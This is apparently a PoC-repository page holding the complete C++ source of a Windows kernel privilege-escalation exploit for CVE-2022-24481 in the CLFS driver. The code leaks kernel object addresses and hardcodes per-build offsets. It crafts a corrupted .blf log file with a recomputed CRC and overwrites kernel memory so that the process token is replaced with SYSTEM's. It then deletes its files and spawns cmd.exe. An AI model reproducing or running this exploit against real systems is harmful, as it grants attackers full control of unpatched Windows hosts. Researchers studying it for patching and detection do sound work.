4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-24481-POC.cpp CPP
#include <Windows.h>
#include <clfsw32.h>
#pragma comment(lib, "clfsw32.lib")
#include <strsafe.h>
#include <tchar.h>
#include <time.h>

//#define CMD L"C:\\windows\\system32\\cmd.exe"
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004

typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
#define MAX_LOG_MESSAGE 1024
#define MAXIMUM_FILENAME_LENGTH 255 
#define CMD L"C:\\windows\\system32\\cmd.exe"


BOOL LogMessage(LEVEL Level, LPCTSTR Format, ...)
{

	TCHAR Buffer[MAX_LOG_MESSAGE] = { 0 };
	va_list Args;

	va_start(Args, Format);
	StringCchVPrintf(Buffer, MAX_LOG_MESSAGE, Format, Args);
	va_end(Args);

	switch (Level) {
	case L_DEBUG: _ftprintf(stdout, TEXT("[?] %s\n"), Buffer); break;
	case L_INFO:  _ftprintf(stdout, TEXT("[+] %s\n"), Buffer); break;
	case L_WARN:  _ftprintf(stderr, TEXT("[*] %s\n"), Buffer); break;
	case L_ERROR: _ftprintf(stderr, TEXT("[!] %s\n"), Buffer); break;
	}

	fflush(stdout);
	fflush(stderr);

	return TRUE;
}

typedef struct _PEB {
	BOOLEAN InheritedAddressSpace;
	BOOLEAN ReadImageFileExecOptions;
	BOOLEAN BeingDebugged;
	union
	{
		BOOLEAN BitField;
		struct
		{
			BOOLEAN ImageUsesLargePages : 1;
			BOOLEAN IsProtectedProcess : 1;
			BOOLEAN IsLegacyProcess : 1;
			BOOLEAN IsImageDynamicallyRelocated : 1;
			BOOLEAN SkipPatchingUser32Forwarders : 1;
			BOOLEAN SpareBits : 3;
		};
	};
	HANDLE Mutant;

	PVOID ImageBaseAddress;
	PVOID Ldr;
	PVOID ProcessParameters;
	PVOID SubSystemData;
	PVOID ProcessHeap;
	PRTL_CRITICAL_SECTION FastPebLock;
	PVOID AtlThunkSListPtr;
	PVOID IFEOKey;
	union
	{
		ULONG CrossProcessFlags;
		struct
		{
			ULONG ProcessInJob : 1;
			ULONG ProcessInitializing : 1;
			ULONG ProcessUsingVEH : 1;
			ULONG ProcessUsingVCH : 1;
			ULONG ProcessUsingFTH : 1;
			ULONG ReservedBits0 : 27;
		};
		ULONG EnvironmentUpdateCount;
	};
	union
	{
		PVOID KernelCallbackTable;
		PVOID UserSharedInfoPtr;
	};
	ULONG SystemReserved[1];
	ULONG AtlThunkSListPtr32;
	PVOID ApiSetMap;
	ULONG TlsExpansionCounter;
	PVOID TlsBitmap;
	ULONG TlsBitmapBits[2];
	PVOID ReadOnlySharedMemoryBase;
	PVOID HotpatchInformation;
	PVOID *ReadOnlyStaticServerData;
	PVOID AnsiCodePageData;
	PVOID OemCodePageData;
	PVOID UnicodeCaseTableData;

	ULONG NumberOfProcessors;
	ULONG NtGlobalFlag;

	LARGE_INTEGER CriticalSectionTimeout;
	SIZE_T HeapSegmentReserve;
	SIZE_T HeapSegmentCommit;
	SIZE_T HeapDeCommitTotalFreeThreshold;
	SIZE_T HeapDeCommitFreeBlockThreshold;

	ULONG NumberOfHeaps;
	ULONG MaximumNumberOfHeaps;
	PVOID *ProcessHeaps;

	PVOID GdiSharedHandleTable;
	PVOID ProcessStarterHelper;
	UINT GdiDCAttributeList;
	struct _RTL_CRITICAL_SECTION *LoaderLock;
	UINT OSMajorVersion;
	UINT OSMinorVersion;
	UINT16 OSBuildNumber;
	UINT16 OSCSDVersion;
	UINT OSPlatformId;
	UINT ImageSubsystem;
	UINT ImageSubsystemMajorVersion;
	UINT ImageSubsystemMinorVersion;
	UINT64 ActiveProcessAffinityMask;
	UINT GdiHandleBuffer[60];
	PVOID PostProcessInitRoutine;
	PVOID TlsExpansionBitmap;
	UINT TlsExpansionBitmapBits[32];
	UINT SessionId;
	union _ULARGE_INTEGER AppCompatFlags;
	union _ULARGE_INTEGER AppCompatFlagsUser;
	PVOID pShimData;
	PVOID AppCompatInfo;
} PEB, *PPEB;

typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemBasicInformation = 0,
	SystemPerformanceInformation = 2,
	SystemTimeOfDayInformation = 3,
	SystemProcessInformation = 5,
	SystemProcessorPerformanceInformation = 8,
	SystemModuleInformation = 11,
	SystemHandleInformation = 16,
	SystemObjectInformation = 17,
	SystemInterruptInformation = 23,
	SystemExceptionInformation = 33,
	SystemRegistryQuotaInformation = 37,
	SystemLookasideInformation = 45,
	SystemExtendedHandleInformation = 64
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(NTAPI *NtQueryInformationProcess_t)(
	HANDLE	ProcessHandle,
	DWORD	ProcessInformationClass,
	PVOID	ProcessInformation,
	DWORD	ProcessInformationLength,
	PDWORD	ReturnLength
	);
typedef NTSTATUS(WINAPI *NtQuerySystemInformation_t)(
	IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
	OUT PVOID                   SystemInformation,
	IN ULONG                    SystemInformationLength,
	OUT PULONG                  ReturnLength);

typedef NTSTATUS(WINAPI *NtWriteVirtualMemory_t)(
	HANDLE ProcessHandle,
	PVOID BaseAddress,
	PVOID Buffer,
	ULONG NumberOfBytesToWrite,
	PULONG NumberOfBytesWritten);

typedef struct _StructNew
{
	PEB *pPEB;
	NtQuerySystemInformation_t pNtQuerySystemInformation;
	NtWriteVirtualMemory_t pNtWriteVirtualMemory;
	PVOID hProcessHandle;
	PVOID hThreadHandle;
	ULONGLONG KeProcessObj;
	ULONGLONG KeThreadObj;
	ULONGLONG PreviousModeOff;
}StructNew, *PStructNew;

typedef struct _TEB {
	NT_TIB NtTib;
	PVOID EnvironmentPointer;
	struct {
		HANDLE UniqueProcess;
		HANDLE UniqueThread;
	} ClientId;
	PVOID ActiveRpcHandle;
	PVOID ThreadLocalStoragePointer;
	PEB *ProcessEnvironmentBlock;
} TEB, *PTEB;


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
	PVOID Object;
	ULONG_PTR UniqueProcessId;
	HANDLE HandleValue;
	ULONG GrantedAccess;
	USHORT CreatorBackTraceIndex;
	USHORT ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_EXTENDED_HANDLE_INFORMATION { ULONG_PTR NumberOfHandles; ULONG_PTR Reserved; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; } SYSTEM_EXTENDED_HANDLE_INFORMATION, *PSYSTEM_EXTENDED_HANDLE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
	ULONG ProcessId;
	UCHAR ObjectTypeNumber;
	UCHAR Flags;
	USHORT Handle;
	void* Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;



typedef struct SYSTEM_MODULE {
	ULONG                Reserved1;
	ULONG                Reserved2;
#ifdef _WIN64
	ULONG				Reserved3;
#endif
	PVOID                ImageBaseAddress;
	ULONG                ImageSize;
	ULONG                Flags;
	WORD                 Id;
	WORD                 Rank;
	WORD                 w018;
	WORD                 NameOffset;
	CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
	ULONG                ModulesCount;
	SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;



INT globalFlag = 0;
PStructNew pStructTemp = (PStructNew)VirtualAlloc(NULL, sizeof(StructNew), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD currentID = GetCurrentProcessId();
ULONGLONG AddressOfKeSysToken;
ULONGLONG AddressOfKeCuProcToken;

DWORD CRC32(BYTE* ptr, DWORD Size)
{
	DWORD crcTable[256], crcTmp1;

	for (int i = 0; i < 256; i++)
	{
		crcTmp1 = i;
		for (int j = 8; j > 0; j--)
		{
			if (crcTmp1 & 1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
			else crcTmp1 >>= 1;
		}
		crcTable[i] = crcTmp1;
	}

	DWORD crcTmp2 = 0xFFFFFFFF;
	while (Size--)
	{
		crcTmp2 = ((crcTmp2 >> 8) & 0x00FFFFFF) ^ crcTable[(crcTmp2 ^ (*ptr)) & 0xFF];
		ptr++;
	}
	return (crcTmp2 ^ 0xFFFFFFFF);
}
DWORD64 GetObjectAddressWithHandle(HANDLE hObjectHandle, UINT nMaxSearchTry)
{
	NTSTATUS st;
	PSYSTEM_EXTENDED_HANDLE_INFORMATION handleInfo;
	ULONG handleInfoLen = 0x10000;
	DWORD pid = GetCurrentProcessId();

	DWORD64 ret = 0;
	NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(
		GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
	if (NtQuerySystemInformation == NULL)
	{
		LogMessage(L_ERROR, TEXT("NtQuerySystemInformation get error!"));
		exit(1);
	}
	for (UINT j = 0; j < nMaxSearchTry; j++)
	{

		handleInfoLen = 0x10000;
		handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)malloc(handleInfoLen);
		while ((st = NtQuerySystemInformation(
			SystemExtendedHandleInformation,
			handleInfo,
			handleInfoLen,
			NULL
		)) == STATUS_INFO_LENGTH_MISMATCH)
			handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)realloc(handleInfo, handleInfoLen *= 2);


		// NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH.

		for (UINT i = 0; i < handleInfo->NumberOfHandles; i++)
		{
			if (handleInfo->Handles[i].HandleValue == hObjectHandle && pid == handleInfo->Handles[i].UniqueProcessId)
			{
				ret = ((DWORD64)(handleInfo->Handles[i].Object));
				LogMessage(L_INFO, TEXT("get address successful!"));
				free(handleInfo);
				return ret;
			}
		}
		free(handleInfo);
	}
	return 0;
}

DWORD64 GetObjectAddressWithProcessId(DWORD dwProcessId, UINT nMaxSearchTry)
{
	NTSTATUS st;
	PSYSTEM_EXTENDED_HANDLE_INFORMATION handleInfo;
	ULONG handleInfoLen = 0x10000;
	DWORD pid = GetCurrentProcessId();

	DWORD64 ret = 0;
	NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(
		GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
	if (NtQuerySystemInformation == NULL)
	{
		LogMessage(L_ERROR, TEXT("NtQuerySystemInformation get error!"));
		exit(1);
	}
	for (UINT j = 0; j < nMaxSearchTry; j++)
	{

		handleInfoLen = 0x10000;
		handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)malloc(handleInfoLen);
		while ((st = NtQuerySystemInformation(
			SystemExtendedHandleInformation,
			handleInfo,
			handleInfoLen,
			NULL
		)) == STATUS_INFO_LENGTH_MISMATCH)
			handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)realloc(handleInfo, handleInfoLen *= 2);


		// NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH.

		for (UINT i = 0; i < handleInfo->NumberOfHandles; i++)
		{
			if (dwProcessId == handleInfo->Handles[i].UniqueProcessId)
			{
				ret = ((DWORD64)(handleInfo->Handles[i].Object));
				LogMessage(L_INFO, TEXT("get address successful!"));
				free(handleInfo);
				return ret;
			}
		}
		free(handleInfo);
	}
	return 0;
}

HANDLE GetObjectHandleWithAddress(DWORD64 pAddress, UINT nMaxSearchTry)
{
	NTSTATUS st;
	PSYSTEM_EXTENDED_HANDLE_INFORMATION handleInfo;
	ULONG handleInfoLen = 0x10000;
	DWORD pid = GetCurrentProcessId();

	HANDLE ret = INVALID_HANDLE_VALUE;
	NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(
		GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
	if (NtQuerySystemInformation == NULL)
	{
		LogMessage(L_ERROR, TEXT("NtQuerySystemInformation get error!"));
		exit(1);
	}
	for (UINT j = 0; j < nMaxSearchTry; j++)
	{

		handleInfoLen = 0x10000;
		handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)malloc(handleInfoLen);
		while ((st = NtQuerySystemInformation(
			SystemExtendedHandleInformation,
			handleInfo,
			handleInfoLen,
			NULL
		)) == STATUS_INFO_LENGTH_MISMATCH)
			handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)realloc(handleInfo, handleInfoLen *= 2);

		for (UINT i = 0; i < handleInfo->NumberOfHandles; i++)
		{
			if ((DWORD64)(handleInfo->Handles[i].Object) == pAddress && pid == handleInfo->Handles[i].UniqueProcessId)
			{

				ret = handleInfo->Handles[i].HandleValue;
				LogMessage(L_INFO, TEXT("get handle successful!"));
				free(handleInfo);
				return ret;
			}
		}
		free(handleInfo);
	}
	return INVALID_HANDLE_VALUE;
}

INT InitStruct()
{
	INT result = 0;
	
	pStructTemp->pNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");
	pStructTemp->pNtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtWriteVirtualMemory");
	PTEB pTEB = NtCurrentTeb();
	pStructTemp->pPEB = pTEB->ProcessEnvironmentBlock;
	INT v21, v19, v20;
	if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &pStructTemp->hProcessHandle, 0, 0, 2u))
	{
		LogMessage(L_ERROR, TEXT("Duplicate process Handle error"));
		return 0;
	}
	if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &pStructTemp->hThreadHandle, 0, 0, 2u))
	{
		LogMessage(L_ERROR, TEXT("Duplicate thread Handle error"));
		return 0;
	}
	pStructTemp->KeProcessObj = (ULONGLONG)GetObjectAddressWithHandle(pStructTemp->hProcessHandle, 1000);
	pStructTemp->KeThreadObj = (ULONGLONG)GetObjectAddressWithHandle(pStructTemp->hThreadHandle, 1000);

	UINT OSBuildNumber = pStructTemp->pPEB->OSBuildNumber;


	if (OSBuildNumber > 18362)
	{
		if (OSBuildNumber > 19043)
		{
			if (OSBuildNumber == 19044 || OSBuildNumber == 20348)
				goto LABEL_30;
			v21 = OSBuildNumber == 22000;
		}
		else
		{
			if (OSBuildNumber == 19043)
				goto LABEL_30;
			v19 = OSBuildNumber - 18363;
			if (!v19)
				goto LABEL_25;
			v20 = v19 - 678;
			if (!v20)
				goto LABEL_30;
			v21 = v20 == 1;
		}
		if (!v21)
			return 1;
	LABEL_30:
		globalFlag = 0x4B8;
		pStructTemp->PreviousModeOff = 0x232;
		return 1;
	}
	if (OSBuildNumber == 18362)
	{
	LABEL_25:
		globalFlag = 0x360;
		result = 1;
		pStructTemp->PreviousModeOff = 0x232;
		return result;
	}
	if (OSBuildNumber <= 15063)
	{
		switch (OSBuildNumber)
		{
		case 15063u:
		LABEL_11:
			globalFlag = 0x358;
			result = 1;
			pStructTemp->PreviousModeOff = 0x232;
			return result;
		case 7601u:
			pStructTemp->PreviousModeOff = 0x1F6;  // win7 sp1
			result = 1;
			globalFlag = 0x208;
			return result;
		case 9200u:
		case 9600u:
			globalFlag = 0x348;
			result = 1;
			pStructTemp->PreviousModeOff = 0x232;
			return result;
		case 14393u:
			goto LABEL_11;
		}
		return 1;
	}
	if (OSBuildNumber == 16299)
	{
		pStructTemp->PreviousModeOff = 0x232;
	}
	else if (OSBuildNumber != 17134 && OSBuildNumber != 17763)
	{
		return 1;
	}
	globalFlag = 0x358;
	result = 1;
	pStructTemp->PreviousModeOff = 0x232;
	return result;
}

INT leakReadWrite()
{
	HANDLE hCurrentProc = OpenProcess(0x400, 0, currentID);
	if (!hCurrentProc)
	{
		LogMessage(L_ERROR, TEXT("get proc handle error!"));
		exit(1);
	}
	DWORD dwCurrentProcessID = GetCurrentProcessId();
	HMODULE hmNtdll = GetModuleHandle(L"ntdll");
	if (!hmNtdll)
	{
		LogMessage(L_ERROR, TEXT("get module handle error!"));
		exit(1);
	}
	ULONGLONG ulKeCurrentPorc = (ULONGLONG)GetObjectAddressWithHandle(hCurrentProc, 1000);
	ULONGLONG ulKeSystemPorc = (ULONGLONG)GetObjectAddressWithProcessId(4, 1000);
	if (!ulKeCurrentPorc || !ulKeSystemPorc)
	{
		LogMessage(L_ERROR, TEXT("get ulKeCurrentPorc or ulKeSystemPorc error!"));
		exit(1);
	}
	LogMessage(L_INFO, TEXT("ulKeCurrentPorc is 0x%p"), ulKeCurrentPorc);
	LogMessage(L_INFO, TEXT("ulKeSystemPorc is 0x%p"), ulKeSystemPorc);
	AddressOfKeSysToken = ulKeSystemPorc + globalFlag;
	AddressOfKeCuProcToken = ulKeCurrentPorc + globalFlag;
	LogMessage(L_INFO, TEXT("AddressOfKeSysToken is 0x%p"), AddressOfKeSysToken);
	LogMessage(L_INFO, TEXT("AddressOfKeCuProcToken is 0x%p"), AddressOfKeCuProcToken);
	return 0;
}

ULONGLONG getSystemModuleAddr(char *String2)
{
	NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(
		GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
	if (NtQuerySystemInformation == NULL)
	{
		LogMessage(L_ERROR, TEXT("NtQuerySystemInformation get error!"));
		exit(1);
	}
	ULONG len = 0;
	NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
	PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len);
	if (pModuleInfo == NULL) {
		LogMessage(L_ERROR, TEXT("NtQuerySystemInformation get error!"));
		exit(1);
	}
	NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
	if (status != (NTSTATUS)0x0) {
		LogMessage(L_ERROR, TEXT("NtQuerySystemInformation get error!"));
		exit(1);
	}
	PVOID kernelImageBase = NULL;

	for (unsigned int i = 0; i < pModuleInfo->ModulesCount; i++) {
		kernelImageBase = pModuleInfo->Modules[i].ImageBaseAddress;
		PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[i].Name;
		if (!_stricmp(kernelImage, String2))
		{
			LogMessage(L_INFO, TEXT("kernelImageBase find, image kernelImageBase 0x%p!"), kernelImageBase);
			return (ULONGLONG)kernelImageBase;
		}
			
	}
	return 0;

}

void PopShell()
{
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	PROCESS_INFORMATION pi;

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));

	CreateProcess(CMD, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
}


int main()
{

	WCHAR pwszContainerPath[768];

	wsprintfW(pwszContainerPath, L"C:\\Users\\Public\\.container_%d", time(0));
	WCHAR *pwCommand = L"cmd.exe";
	PSYSTEM_HANDLE_INFORMATION pSystemHandleInfo = NULL;
	PULONGLONG pClassClfs = NULL;
	PULONGLONG pClassFive = NULL;
	ULONGLONG KeAddressOfClfs;
	if (!InitStruct())
	{
		LogMessage(L_ERROR, TEXT("init struct error!"));
		return 0;
	}
	if (pStructTemp->KeProcessObj)
		LogMessage(L_INFO, TEXT("PreviousModeOff is 0x%p"), pStructTemp->PreviousModeOff);
	leakReadWrite();

	HANDLE hCurrentProc = OpenProcess(0x400, 0, currentID);
	if (!hCurrentProc)
	{
		LogMessage(L_ERROR, TEXT("get proc handle error!"));
		exit(1);
	}

	HANDLE hToken = NULL;
	if (!OpenProcessToken(hCurrentProc, 0x20, &hToken))
	{
		LogMessage(L_ERROR, TEXT("get OpenProcessToken handle error!"));
		exit(1);
	}

	pClassClfs = (PULONGLONG)VirtualAlloc((LPVOID)0x40000000, 0x100000, 0x3000, 4);

	if (!pClassClfs || (pClassFive =(PULONGLONG)VirtualAlloc((LPVOID)0x50000000, 0x100000, 0x3000, 4)) == 0)
	{
		LogMessage(L_ERROR, TEXT("VirtualAlloc error!"));
		exit(0);
	}

	CHAR *chStrClfs = "\\SystemRoot\\system32\\drivers\\clfs.sys";
	if (pStructTemp->pPEB->OSBuildNumber <= 7601u)
		chStrClfs = "\\SystemRoot\\system32\\clfs.sys";
	KeAddressOfClfs = getSystemModuleAddr(chStrClfs);
	WCHAR *wchClfsPath = L"C:\\Windows\\System32\\drivers\\clfs.sys";
	if (pStructTemp->pPEB->OSBuildNumber <= 7601u)
		wchClfsPath = L"C:\\Windows\\System32\\clfs.sys";
	HMODULE Library = LoadLibraryEx(wchClfsPath, 0, 1);
	if (!Library)
	{
		LogMessage(L_ERROR, TEXT("LoadLibraryEx error!"));
		return 0;
	}
	PVOID ClfsSetEndOfLog = GetProcAddress(Library, "ClfsSetEndOfLog");
	
	ULONGLONG KeAddressOfClfsSetEndOfLog = (ULONGLONG)ClfsSetEndOfLog - (ULONGLONG)Library + KeAddressOfClfs;
	FreeLibrary(Library);
	LogMessage(L_INFO, TEXT("KeAddressOfClfsSetEndOfLog is 0x%p"), KeAddressOfClfsSetEndOfLog);

	pClassClfs[0] = 0x50000000;
	pClassClfs[6] = pStructTemp->KeThreadObj + 0x30 + pStructTemp->PreviousModeOff;
	pClassFive[1] = KeAddressOfClfsSetEndOfLog;
	pClassClfs[4] = (ULONGLONG)CreateFileW(L"C:\\Users\\Public\\a", 0x40000000, 0, 0, 1, 0x80, 0);
	HANDLE LogFile = CreateLogFile(L"LOG:C:\\Users\\Public\\MyLog::Stream1", 0xC0000000, 1, 0, 4, 0);
	if (LogFile == (HANDLE)-1)
	{
		LogMessage(L_ERROR, TEXT("CreateLogFile error!"));
		exit(0);
	}

	ULONGLONG pcbContainer = 512;
	DWORD NumberOfBytesWritten[2];
	if (AddLogContainer(LogFile, &pcbContainer, pwszContainerPath, 0))
	{
		LogMessage(L_ERROR, TEXT("AddLogContainer error!"));
		CloseHandle(LogFile);
		UINT Buffer = 0x15A8;
		INT v50 = 0x1520;
		INT v51 = 0;
		INT v52 = 0x1520;
		ULONGLONG v55 = 0x40000000;

		HANDLE v28 = CreateFileW(L"C:\\Users\\Public\\MyLog.blf", 0xC0000000, 7, 0, 3, 0x80, 0);
		SetFilePointer(v28, 0x9784, 0, 1);
		if (!WriteFile(v28, &v50, 4, NumberOfBytesWritten, 0))
		{
			LogMessage(L_ERROR, TEXT("write file error at 0x9784!"));
			exit(1);
		}
		CloseHandle(v28);
		HANDLE v29 = CreateFileW(L"C:\\Users\\Public\\MyLog.blf", 0xC0000000, 7, 0, 3, 0x80, 0);
		SetFilePointer(v29, 0x9798, 0, 1);
		if (!WriteFile(v29, &v51, 4, NumberOfBytesWritten, 0))
		{
			LogMessage(L_ERROR, TEXT("write file error at 0x9798!"));
			exit(1);
		}
		CloseHandle(v29);
		HANDLE v30 = CreateFileW(L"C:\\Users\\Public\\MyLog.blf", 0xC0000000, 7, 0, 3, 0x80, 0);
		SetFilePointer(v30, 0x97B0, 0, 1);
		if (!WriteFile(v30, &v55, 8, NumberOfBytesWritten, 0))
		{
			LogMessage(L_ERROR, TEXT("write file error at 0x97B0!"));
			exit(1);
		}
		CloseHandle(v30);
		HANDLE v31 = CreateFileW(L"C:\\Users\\Public\\MyLog.blf", 0xC0000000, 7, 0, 3, 0x80, 0);
		SetFilePointer(v31, 0x83A8, 0, 1);
		if (!WriteFile(v31, &v52, 4, NumberOfBytesWritten, 0))
		{
			LogMessage(L_ERROR, TEXT("write file error at 0x93A8!"));
			exit(1);
		}
		CloseHandle(v31);
		HANDLE v32 = CreateFileW(L"C:\\Users\\Public\\MyLog.blf", 0xC0000000, 7, 0, 3, 0x80, 0);
		SetFilePointer(v32, 0x8200, 0, 1);
		INT v33 = 31232;
		PBYTE v34 = (PBYTE)malloc(0x7A00);
		DWORD NumberOfBytesRead;
		ReadFile(v32, v34, 0x7A00u, &NumberOfBytesRead, 0);
		*(DWORD*)(v34 + 0xc) = 0;
		UINT uCrc32 = CRC32(v34, 0x7a00);
		printf("crc32: 0x%8x\n", uCrc32);
		CloseHandle(v32);
		free(v34);

		HANDLE v38 = CreateFileW(L"C:\\Users\\Public\\MyLog.blf", 0xC0000000, 7u, 0, 3u, 0x80u, 0);
		SetFilePointer(v38, 0x820C, 0, 1);
		WriteFile(v38, &uCrc32, 4, &NumberOfBytesRead, 0);
		CloseHandle(v38);
		HANDLE v39 = CreateLogFile(L"LOG:C:\\Users\\Public\\MyLog::Stream1", 0xC0000000, 1u, 0, 4u, 0);
		CloseHandle(v39);
		ULONGLONG v40 = AddressOfKeSysToken;
		HANDLE hCurrentProcess = GetCurrentProcess();
		(NtWriteVirtualMemory_t)pStructTemp->pNtWriteVirtualMemory(
			hCurrentProcess,
			NumberOfBytesWritten,
			(PVOID)v40,
			8,
			&NumberOfBytesRead);
		ULONGLONG v42 = AddressOfKeCuProcToken;

		(NtWriteVirtualMemory_t)pStructTemp->pNtWriteVirtualMemory(// replace token
			hCurrentProcess,
			(PVOID)v42,
			NumberOfBytesWritten,
			8,
			&NumberOfBytesRead);
		CHAR v47[4];
		v47[0] = 1;
		ULONGLONG v44 = pStructTemp->KeThreadObj + pStructTemp->PreviousModeOff;

		(NtWriteVirtualMemory_t)pStructTemp->pNtWriteVirtualMemory(
			hCurrentProcess,
			(PVOID)v44,
			v47,
			1,
			NumberOfBytesWritten);
		DeleteFileW(L"C:\\Users\\Public\\a");
		DeleteFileW(L"C:\\Users\\Public\\MyLog.blf");
		if (currentID == GetCurrentProcessId())
			PopShell();
	}

	return 0;
}